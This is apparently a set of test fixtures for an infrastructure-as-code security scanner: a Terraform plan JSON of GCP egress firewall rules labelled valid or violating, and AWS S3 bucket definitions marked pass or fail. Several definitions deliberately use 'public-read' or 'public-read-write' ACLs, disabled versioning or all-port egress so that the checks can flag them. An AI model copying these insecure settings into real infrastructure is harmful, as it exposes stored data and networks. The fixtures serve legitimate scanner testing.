"destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_valid_443" }, { "resources": [ { "address": "module.achia_test_valid_ports.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [ "80", "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port80and443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_valid_ports" }, { "resources": [ { "address": "module.achia_test_violating_no_ports.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-all-ports-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_violating_no_ports" }, { "resources": [ { "address": "module.achia_test_violating_port.google_compute_firewall.custom[0]", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 1, "values": { "allow": [ { "ports": [ "80", "443", "3600" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-violating-port3600-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null } } ], "address": "module.achia_test_violating_port" } ] } }, "resource_changes": [ { "address": "google_compute_network.achia_test_nonpeered_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_nonpeered_network", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-nonpeered-network", "timeouts": null }, "after_unknown": { "gateway_ipv4": true, "id": true, "mtu": true, "project": true, "routing_mode": true, "self_link": true } } }, { "address": "google_compute_network.achia_test_peered_nonwss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_nonwss_network", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-nonwss-network", "timeouts": null }, "after_unknown": { "gateway_ipv4": true, "id": true, "mtu": true, "project": true, "routing_mode": true, "self_link": true } } }, { "address": "google_compute_network.achia_test_peered_wss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_wss_network", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "auto_create_subnetworks": true, "delete_default_routes_on_create": false, "description": null, "name": "achia_test-peered-wss-network", "timeouts": null }, "after_unknown": { "gateway_ipv4": true, "id": true, "mtu": true, "project": true, "routing_mode": true, "self_link": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-nonwss", "network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "peer_network": true, "state": true, "state_details": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_from_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_wss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-from-wss", "network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "peer_network": true, "state": true, "state_details": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_nonwss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-nonwss", "peer_network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "network": true, "state": true, "state_details": true } } }, { "address": "google_compute_network_peering.achia_test_network_peering_to_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_wss", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "export_custom_routes": false, "export_subnet_routes_with_public_ip": true, "import_custom_routes": false, "import_subnet_routes_with_public_ip": null, "name": "fake-network-peering-to-wss", "peer_network": "https://www.achia.com11111", "timeouts": null }, "after_unknown": { "id": true, "network": true, "state": true, "state_details": true } } }, { "address": "module.achia_test_valid_443.google_compute_firewall.custom[0]", "module_address": "module.achia_test_valid_443", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [ "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [ false ] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } }, { "address": "module.achia_test_valid_ports.google_compute_firewall.custom[0]", "module_address": "module.achia_test_valid_ports", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [ "80", "443" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-valid-port80and443-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [ false, false ] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } }, { "address": "module.achia_test_violating_no_ports.google_compute_firewall.custom[0]", "module_address": "module.achia_test_violating_no_ports", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-all-ports-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } }, { "address": "module.achia_test_violating_port.google_compute_firewall.custom[0]", "module_address": "module.achia_test_violating_port", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "index": 0, "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "allow": [ { "ports": [ "80", "443", "3600" ], "protocol": "tcp" } ], "deny": [], "description": "gcp-wss-tcp-allow", "destination_ranges": [ "0.0.0.0/0" ], "direction": "EGRESS", "disabled": false, "log_config": [ { "metadata": "INCLUDE_ALL_METADATA" } ], "name": "egress-wss-violating-port3600-allow", "network": "achia_test-peered-wss-network", "priority": 1000, "project": "fake-id", "source_service_accounts": null, "source_tags": null, "target_service_accounts": null, "target_tags": null, "timeouts": null }, "after_unknown": { "allow": [ { "ports": [ false, false, false ] } ], "creation_timestamp": true, "deny": [], "destination_ranges": [ false ], "enable_logging": true, "id": true, "log_config": [ {} ], "self_link": true, "source_ranges": true } } } ], "configuration": { "root_module": { "resources": [ { "address": "google_compute_network.achia_test_nonpeered_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_nonpeered_network", "provider_config_key": "google", "expressions": { "name": { "constant_value": "achia_test-nonpeered-network" } }, "schema_version": 0 }, { "address": "google_compute_network.achia_test_peered_nonwss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_nonwss_network", "provider_config_key": "google", "expressions": { "name": { "constant_value": "achia_test-peered-nonwss-network" } }, "schema_version": 0 }, { "address": "google_compute_network.achia_test_peered_wss_network", "mode": "managed", "type": "google_compute_network", "name": "achia_test_peered_wss_network", "provider_config_key": "google", "expressions": { "name": { "constant_value": "achia_test-peered-wss-network" } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_from_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_nonwss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-from-nonwss" }, "network": { "constant_value": "https://www.achia.com11111" }, "peer_network": { "references": [ "google_compute_network.achia_test_peered_nonwss_network" ] } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_from_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_from_wss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-from-wss" }, "network": { "constant_value": "https://www.achia.com11111" }, "peer_network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_to_nonwss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_nonwss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-to-nonwss" }, "network": { "references": [ "google_compute_network.achia_test_peered_nonwss_network" ] }, "peer_network": { "constant_value": "https://www.achia.com11111" } }, "schema_version": 0 }, { "address": "google_compute_network_peering.achia_test_network_peering_to_wss", "mode": "managed", "type": "google_compute_network_peering", "name": "achia_test_network_peering_to_wss", "provider_config_key": "google", "expressions": { "name": { "constant_value": "fake-network-peering-to-wss" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "peer_network": { "constant_value": "https://www.achia.com11111" } }, "schema_version": 0 } ], "module_calls": { "achia_test_valid_443": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "valid-port443" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [ 443 ], "protocol": "tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_valid_443:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } }, "achia_test_valid_ports": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "valid-port80and443" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [ 80, 443 ], "protocol": "tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_valid_ports:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } }, "achia_test_violating_no_ports": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "all-ports" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [], "protocol": "tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_violating_no_ports:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } }, "achia_test_violating_port": { "source": "tfe.mayo.edu/mcc/m-network-firewall/google", "expressions": { "action": { "constant_value": "allow" }, "description": { "constant_value": "gcp-wss-tcp-allow" }, "direction": { "constant_value": "EGRESS" }, "extra_attributes": { "constant_value": { "enable_logging": true, "priority": 1000 } }, "fw_destination": { "constant_value": "wss" }, "fw_purpose": { "constant_value": "violating-port3600" }, "fw_source": { "constant_value": "egress" }, "network": { "references": [ "google_compute_network.achia_test_peered_wss_network" ] }, "project_id": { "constant_value": "fake-id" }, "ranges": { "constant_value": [ "0.0.0.0/0" ] }, "rules": { "constant_value": [ { "ports": [ 80, 443, 3600 ], "protocol": "tcp" } ] }, "sources": { "references": [ "local.source_sa" ] }, "use_service_accounts": { "constant_value": true } }, "module": { "outputs": { "firewall_rules": { "expression": { "references": [ "google_compute_firewall.custom" ] }, "description": "The firewall rules created" } }, "resources": [ { "address": "google_compute_firewall.custom", "mode": "managed", "type": "google_compute_firewall", "name": "custom", "provider_config_key": "achia_test_violating_port:google", "expressions": { "description": { "references": [ "var.description" ] }, "destination_ranges": { "references": [ "var.direction", "var.ranges" ] }, "direction": { "references": [ "var.direction" ] }, "disabled": { "references": [ "var.extra_attributes" ] }, "name": { "references": [ "local.firewall_name" ] }, "network": { "references": [ "var.network" ] }, "priority": { "references": [ "var.extra_attributes" ] }, "project": { "references": [ "var.project_id" ] }, "source_ranges": { "references": [ "var.direction", "var.ranges" ] }, "source_service_accounts": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "source_tags": { "references": [ "var.use_service_accounts", "var.direction", "var.sources" ] }, "target_service_accounts": { "references": [ "var.use_service_accounts", "var.targets" ] }, "target_tags": { "references": [ "var.use_service_accounts", "var.targets" ] } }, "schema_version": 1, "count_expression": { "references": [ "var.enabled" ] } } ], "variables": { "action": { "description": "must be one of the following : allow/ deny" }, "description": { "default": null, "description": "Description for the firewall rule" }, "direction": { "default": null, "description": "Direction of traffic to which this firewall applies" }, "enabled": { "default": true, "description": "Whether to enable this module or not." }, "extra_attributes": { "default": null, "description": "Map(string) that includes extra arguments like disabled, priority and enabled_logging" }, "fw_destination": { "description": "Project id of the project that holds the network." }, "fw_purpose": { "description": "Project id of the project that holds the network." }, "fw_source": { "description": "Project id of the project that holds the network." }, "log_config": { "default": { "metadata": "INCLUDE_ALL_METADATA" }, "description": "The key in the map currently supported is metadata. Structure is documented at: https://www.terraform.io/docs/providers/google/r/compute_firewall.html#log_config" }, "network": { "description": "Name of the network this set of firewall rules applies to." }, "project_id": { "description": "Project id of the project that holds the network." }, "ranges": { "default": null, "description": "Source/ Destination IP range" }, "rules": { "description": "A list of object that includes protocol type and the corresponding ports" }, "sources": { "default": null, "description": "Source tags/ Service Account" }, "targets": { "default": null, "description": "Target tags/ Service Account" }, "use_service_accounts": { "default": true, "description": "Boolean value to indicate if either Service Accounts or Tags are to be used" } } } } } } } } ================================================ FILE: tests/terraform/runner/resources/resource_ids_nested_modules/main.tf ================================================ provider "aws" { region = "us-west-2" } module "s3_module" { source = "./module" acl = "public-read" } module "recursive_module" { source = "./" } resource "aws_s3_bucket" "example" { bucket = "example" acl = "public-read" } ================================================ FILE: tests/terraform/runner/resources/resource_ids_nested_modules/module/main.tf ================================================ module "inner_s3_module" { source = "./module2" acl = var.acl } resource "aws_s3_bucket" "example2" { bucket = "example" acl = var.acl } ================================================ FILE: tests/terraform/runner/resources/resource_ids_nested_modules/module/module2/main.tf ================================================ resource "aws_s3_bucket" "example3" { bucket = "example" acl = var.acl } ================================================ FILE: tests/terraform/runner/resources/resource_ids_nested_modules/module/module2/variable.tf ================================================ variable "acl" { type = string } ================================================ FILE: tests/terraform/runner/resources/resource_ids_nested_modules/module/variable.tf ================================================ variable "acl" { type = string } ================================================ FILE: tests/terraform/runner/resources/resource_negative_value_without_var/main.tf ================================================ # pass resource "aws_s3_bucket" "passed_bucket" { bucket = "passed_bucket" acl = var.private_acl } # fail resource "aws_s3_bucket" "failed_bucket" { bucket = "failed_bucket" acl = var.public_read_write_acl } ### variables not in scope or dont exist ### resource "aws_s3_bucket" "unknown_acl_bucket" { bucket = "unknown_acl_bucket" acl = var.var_doesnt_exist } resource "aws_s3_bucket" "unknown_acl_bucket_2" { bucket = "unknown_acl_bucket_2" acl = var.unscoped_private_acl } resource "aws_s3_bucket" "unknown_acl_bucket_3" { bucket = "unknown_acl_bucket_3" acl = var.unscoped_public_read_write_acl } resource "aws_s3_bucket" "unknown_acl_bucket_4" { bucket = "unknown_acl_bucket_4" acl = local.unscoped_private_acl } resource "aws_s3_bucket" "unknown_acl_bucket_5" { bucket = "unknown_acl_bucket_5" acl = local.unscoped_public_read_write_acl } resource "aws_s3_bucket" "unknown_data_acl_bucket" { bucket = "unknown_acl_bucket" acl = data.doesnt_exist } resource "aws_s3_bucket" "unknown_data_acl_bucket" { bucket = "unknown_acl_bucket" acl = module.doesnt_exist } ================================================ FILE: tests/terraform/runner/resources/resource_negative_value_without_var/variables.tf ================================================ variable "private_acl" { default = "private" } variable "public_read_write_acl" { default = "public-read-write" } ================================================ FILE: tests/terraform/runner/resources/resource_negative_value_without_var/variables_unscoped.tf ================================================ variable "unscoped_private_acl" { default = "private" } variable "unscoped_public_read_write_acl" { default = "public-read-write" } locals { unscoped_private_acl = "private" unscoped_public_read_write_acl = "public-read-write" } ================================================ FILE: tests/terraform/runner/resources/resource_value_without_var/main.tf ================================================ # pass resource "aws_s3_bucket" "enabled_bucket" { bucket = "enabled_bucket" acl = "private" versioning { enabled = var.versioning_enabled } } # fail resource "aws_s3_bucket" "disabled_bucket" { bucket = "disabled_bucket" acl = "private" versioning { enabled = var.versioning_disabled } } ### variables not in scope or dont exist ### resource "aws_s3_bucket" "unknown_var_bucket" { bucket = "unknown_bucket" acl = "private" versioning { enabled = var.versioning_unknown } } resource "aws_s3_bucket" "unknown_var_2_bucket" { bucket = "unknown_bucket" acl = "private" versioning { enabled = var.versioning_disabled_2 } } resource "aws_s3_bucket" "unknown_local_bucket" { bucket = "unknown_bucket" acl = "private" versioning { enabled = local.versioning_disabled } } resource "aws_s3_bucket" "unknown_enabled_bucket" { bucket = "unknown_bucket" acl = "private" versioning { enabled = var.versioning_enabled_2 } } resource "aws_s3_bucket" "unknown_enabled_local_bucket" { bucket = "unknown_bucket" acl = "private" versioning { enabled = local.versioning_enabled } } resource "aws_s3_bucket" "unknown_data_acl_bucket" { bucket = "unknown_acl_bucket" acl = "private" versioning { enabled = data.doesnt_exist } } resource "aws_s3_bucket" "unknown_data_acl_bucket" { bucket = "unknown_acl_bucket" acl = "private" versioning { enabled = module.doesnt_exist } } ================================================ FILE: tests/terraform/runner/resources/resource_value_without_var/variables.tf ================================================ variable "versioning_enabled" { default = true } variable "versioning_disabled" { default = false } ================================================ FILE: tests/terraform/runner/resources/resource_value_without_var/variables_unscoped.tf ================================================ variable "versioning_enabled_2" { default = true } variable "versioning_disabled_2" { default = false } locals { versioning_enabled = true versioning_disabled = false } ================================================ FILE: tests/terraform/runner/resources/tf_raw_resource/main.tf ================================================ resource "aws_s3_bucket" "my_bucket" { for_each = toset(["logs", "assets"]) bucket = "${each.key}-bucket" } ================================================ FILE: tests/terraform/runner/resources/tf_with_hcl_files/example_acl_fail.hcl ================================================ resource "aws_s3_bucket" "foo-bucket-hcl" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "public-read" } data "aws_caller_identity" "current" {} ================================================ FILE: tests/terraform/runner/resources/tf_with_hcl_files/example_acl_fail.tf ================================================ resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "public-read" } data "aws_caller_identity" "current" {} ================================================ FILE: tests/terraform/runner/resources/unbalanced_eval_brackets/main.tf ================================================ locals { # This is intentionally missing the closing quote s3_access_logs_prefix = "${replace(var.cdn_logging_prefix, "cdn", "s3")/${var.bucket_name}} } ================================================ FILE: tests/terraform/runner/resources/unexpected/eks_node_group_remote_access.json ================================================ { "format_version": "0.1", "terraform_version": "0.14.6", "planned_values": { "root_module": { "resources": [ { "address": "aws_eks_node_group.test", "mode": "managed", "type": "aws_eks_node_group", "name": "test", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "cluster_name": "test", "force_update_version": null, "labels": null, "launch_template": [], "node_group_name": "example", "node_role_arn": "example-arn", "remote_access": [], "scaling_config": [ { "desired_size": 1, "max_size": 1, "min_size": 1 } ], "subnet_ids": [ "subnet-ids" ], "tags": null, "timeouts": null } } ] } }, 